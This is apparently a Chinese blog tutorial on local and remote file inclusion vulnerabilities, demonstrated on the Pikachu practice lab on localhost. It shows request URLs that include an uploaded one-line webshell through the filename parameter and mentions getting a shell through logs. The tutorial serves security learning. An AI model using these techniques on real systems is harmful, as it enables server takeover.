文件包含漏洞

概述:

文件包含有本地文件包含(loacl) 和 **远程文件包含(remote)**两种

**本地文件包含:**文件上传本地后通过文件包含漏洞直接解析

**远程文件包含:**远程请求服务(公网)

**概括:**文件包含漏洞其实就是开发语言内置了文件包含函数,有的文件包含的代码被设置成了通过前端传入的变量,在网站没有做充分的安全校验下,攻击者可以读取服务器敏感文件、在日志写入getshell通过文件包含访问,配合文件上传等(访问即被解析)

现在用pikachu演示(PHP5.5)

本地文件包含:

用1.txt表示我已经上传的木马,现在用文件包含访问解析:

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=1.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

将1.txt后缀改为1.png

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=1.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

后缀改为php

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=1.php&submit=提交查询

远程文件包含:

首先将php.ini的allow_url_include改为ON

在phpstuduy(模拟远程)放一个一句话木马然后通过远程文件包含访问

上传我写的一句话木马,访问:

复制代码
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/info.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
相关推荐
无障碍研究院1 天前
2026TADC|圆桌对话:出海无障碍合规
安全·web安全
持敬chijing1 天前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
无障碍研究院1 天前
2026TADC|圆桌对话:软/硬件无障碍的过去、现在、未来
安全
乔旭伟1 天前
Linux 服务器安全加固实战:SSH、防火墙、补丁与入侵排查
linux·服务器·安全
优选资源分享1 天前
PicGo v3.0.3 新版 | 开源免费图床工具
javascript·笔记·electron
裕晟资质规划1 天前
三类涉密资质延续时限差异分析:军工60日与集成印制3个月的边界
java·服务器·前端·网络·安全
星恒随风1 天前
Linux线程概念详解:从分页存储、页表、MMU与TLB,深入理解线程和进程的区别与联系
linux·运维·笔记·学习·状态模式
许彰午1 天前
模拟实现堡垒机
安全·系统安全
qq_284274051 天前
数控机床编程基础与坐标系:编程六步流程、程序号/程序段/程序字格式,与右手定则下车床铣床XYZ轴判定(含考点)
笔记·学习·自动化·制造
Highcharts.js1 天前
Highcharts 发布16项最新安全公告
人工智能·安全·性能优化·highcharts·可视化图表